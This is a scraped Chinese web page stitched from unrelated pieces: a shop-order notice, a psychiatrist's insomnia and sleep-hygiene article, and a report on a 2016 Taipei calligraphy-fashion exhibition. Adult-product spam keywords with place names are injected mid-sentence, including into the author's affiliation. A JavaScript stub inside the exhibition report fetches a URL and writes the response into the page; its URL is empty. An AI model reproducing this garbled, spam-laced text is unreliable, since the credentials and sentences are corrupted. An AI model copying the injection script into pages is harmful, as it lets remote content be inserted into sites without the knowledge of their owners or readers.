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系統不會自動變更金額，小幫手審閱訂單時會為您手動修改價格，請不用擔心，謝謝工商時報【姜廣祥（新光醫院精神高雄市路竹區成人商品科臨床研究員）】
「醫生，我晚上睡不好，吃朋友給我的安眠藥也沒用，隔天頭還昏昏的，怎麼辦？」
「醫生，我晚上都要喝點酒才能睡，幾年下來越喝越多了，現在沒喝的話根本整晚不能睡，怎麼辦？」
失眠是許多人的困擾，影響到白天的精神與情緒，不但會拖累學習表現、降低工作效率，長期下來，對身體健康也有危害。那一個人到底一天要睡多久才夠呢？其實，每個人每天所需的睡眠時間可是大不相同，有的人睡六小時就已精神飽滿，有的人睡了八小時卻還是覺得沒睡夠；除了睡眠時間長短外，睡眠品質也相當重要，有的人陳述睡覺時都在做夢，越睡越累，醒來都沒甚麼精神。
一般而言，失眠類型可大致分為以下幾種：
1.難入睡：躺床超過30分鐘無法入睡。
2.難維持：入睡後睡眠常中斷，難以持續，一個晚上可能醒來數次；時常淺眠，對周遭環境的知覺敏感，易因細微的光線或聲音影響而醒來。
3.早醒：清晨很早甚至凌晨就醒來，無法再入睡。
4.混合型：合併以上兩種以上情形。
5.睡眠品質不佳，如多夢。
失眠在多數情況下其實是次發性的，是其他因素所造成的症狀，例如：
●情緒困擾(焦慮，憂鬱)，精神問題(恐慌症新北市中和區SM道具，強迫症等)
●身體病況影響睡眠，如疼痛、喘、腸胃不適、解尿問題等。
●藥物引起，如類固醇、減肥藥等。
●飲食引起，如咖啡、茶類飲料、提神飲料、巧克力、刺激性飲食。
●節律週期改變，如旅行時差、輪班。
改善引起失眠的因素，才能根本解決失眠的問題。情緒困擾、精神問題、身體病況造成的作息失調，更是需就診處理引起失眠的主因。助眠藥物不一定要一開始就使用，藥物也不是改善失眠的唯一方式，良好的睡眠習慣可先嘗試，從以下調整做起：
1.舒適的睡眠環境：自己覺得軟硬度舒適的床；舒適的溫度，光線度；安靜。
2.規律的睡眠時間。一整天包含午睡的總睡眠時間，在十個小時之內。
3.睡前的時間盡量進行可身心放鬆的活動，減少聲光刺激，可聽柔和音樂、或看平日覺得無聊的書。
4.躺床後不要玩手機或平板電腦；床只給睡覺用，不宜躺床做其他事。
5.運動習慣，白天有足夠的活動度；但睡前兩小高雄市桃源區公仔跳蛋時則不宜有劇烈運動。
6.減少或避免咖啡因飲食，睡前不要抽菸。
7.減少或不要午睡。
8.晚餐不宜過飽，睡前不要喝太多水。
9.躺床等待入眠時若覺得焦慮，可躺著做腹式呼吸；莫養成躺床想事情的習慣。
有些人睡不好時，會使用親友提供的安眠藥，安眠藥的種類其實有相當多種，針對不同類型的失眠，不同的體質狀況，年紀差異等等，適合的藥物都不同，這也是為何不少人吃了別人的安眠藥，不但睡眠沒改善，卻有副作用。藥物使用一定要經過醫師評估開立，針對每個人的個別狀況來使用。目前國內的安眠鎮靜藥物都是管制藥，非經醫師開立無法取得，坊間若是有可以直接買到的安眠藥，來源或內容物不明，切不可隨便使用。
若是經過醫生的完整評估，針對個別狀況而開立的安眠藥，在使用時倒不必過度擔心，目前合法的安眠藥只要是在正確的使用之下，是相當安全的。待睡眠改善後，回診與醫師討論減藥策略，在正確的減藥步驟下，有很大的比例不必持續依賴安眠藥！
姜廣祥檔案
◆現職
◎新光醫院精神科臨床研究員
◆經歷
◎台北榮民總醫院桃園分院精神科主治醫師
◎新光醫院精神科兼任主治醫師
◎新光醫院精神科住院醫師/總醫師
◎臺大醫院精神醫學部住院醫師
◆學歷
◎陽明大學醫學系
▲邱馨慧成為董陽孜墨寶的一部份，拍出藝術美感，讓許多粉絲們分享這組美照。（圖／品牌提供）
記者張妤瑄／台北報導
台灣設計師詹朴，攜手74歲的台灣書法大師董陽孜，結合古典文字之美，打造「線與線的對話」，結合文字線條與針織技法，衝擊出新火花。
這個特別為《讀衣》跨界合作藝術展，設計而成的5件單品，能拼出一幅大的墨寶，與詹朴合作過多次的凱渥名模邱馨慧，是這回形象圖的主角，融入字體與服裝之間的她，拍出近千次分享的形象美圖，讓許多網友大讚「超美」、「很有藝術感」。
▲邱馨慧說拍攝期間，一直想像自己在山水之間行走的感覺，而過程中最難的就是：動作表情不能太大。（圖／品牌提供）
學過書法的邱馨慧透露，拍照的時候心中所想的是「在山水之間行走」的抽象意境，她靠著想像力，將自己融入「字體」之間，雖然抽象，且表現方式也不能動作過大，「因為要對準『字』」的關係，且仰躺表情也有限制，但這一切之於她，有一種在跳現代舞的另類感受。雖然抽象，但寧靜氛圍讓她享受其中。
▲邱馨慧最喜歡的一套造型，很有藝術氛圍。（圖／品牌提供）
學過書法，也學過山水畫，對於邱馨慧來說，書法這門藝術並不陌生，墨痕、濃淡乾濕焦這類對一般人來說有點艱澀的專業名詞，對她而言挺熟悉的。她說這些書法字，不只是字而已，還是畫。
就像74歲還在寫字的董陽孜所說，這些傳統藝術就讓它這麼消失，「我不甘心」一樣的道理，邱馨慧也認為其實看《讀衣》這個展是培養藝術素養的好機會，她自己就看了兩次。
function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
document.write(httpGet(theUrl));
▲《讀衣》跨界藝術展，展覽至明天(10/30)止，免費參觀。（影／品牌提供）
2016臺北世界設計之都國際設計大展：《讀衣》時尚X藝術跨界展展覽資訊
時間：2016/10/13 - 10/30，免費參觀
地點：松山文創園區五號倉庫
策展人：董陽孜
服裝設計：詹朴、陳劭彥、周裕穎、張暘、王舜民、陳姵潔
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